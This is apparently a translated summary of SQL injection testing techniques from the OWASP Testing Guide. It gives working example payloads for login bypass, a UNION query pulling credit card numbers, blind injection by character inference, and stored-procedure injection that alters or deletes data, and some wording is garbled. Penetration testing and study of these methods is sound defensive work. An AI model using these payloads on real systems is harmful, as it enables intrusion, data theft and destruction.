1. SQL Injection Detection
(1) The tester needs to list the input fields for SQL query, including the hidden fields in the POST request. Test them one by one and try to use the query to interfere with them and generate errors.
(2) A single quotation mark (') or a semicolon (;) is usually added to the test field (;). Single quotes are used as a string terminator in SQL. If the application does not filter it, it will cause incorrect queries. A semicolon is used to terminate an SQL statement. If it is not filtered out, it can also produce errors.
2. Conventional SQL injection testing
(1) For the query statement select * from users where username = '$ username' and Password =' $ password', use
$ Username = 1 'or '1' = '1
$ Password = 1 'or '1' = '1
(2) For the following query: Select * from users where (username = '$ username') and (Password = MD5 (' $ password'), use
$ Username = 1 'or '1' = '1 '))/*
$ Password = foo
3. Union Query
For the query statement select name, phone, address from users where id = $ id, Set ID: $ id = 1 Union all select creditcardnumber, 1, 1 from creditcartable.
This will be added to the original query results with all credit card users. Keyword all is required for queries that use distinct keywords. To avoid syntax errors, Union queries must have the same number of parameters as the preceding query.
4. SQL blind Injection
(1) confirm the correct and wrong response page for the query (error query: Select field1, field2, field3 from users where id = '1' and '1' = '2 ')
(2) sequential inference query (select field1, field2, field3 from users where id = '1' and ASCII (substring (username, 1, 1 )) = 97 and '1' = '1 ')
(3) If true is returned after comparison with ASCII code 0, execute the query: Select field1, field2, field3 from users where id = 'name' and length (username) = N and '1' = '1' (name is the string previously deduced). If true is returned, the query is completed. Otherwise, the string to be queried contains null characters, continue to launch until the next null character.
5. Stored Procedure Injection
(1) If improperly handled, dynamic SQL statements in storage programs can be as vulnerable to attacks as dynamic SQL statements on webpages.
(2) If you cannot bypass logon or return query results, you can inject update and delete operations to modify the database.
Reference: OWASP test Guide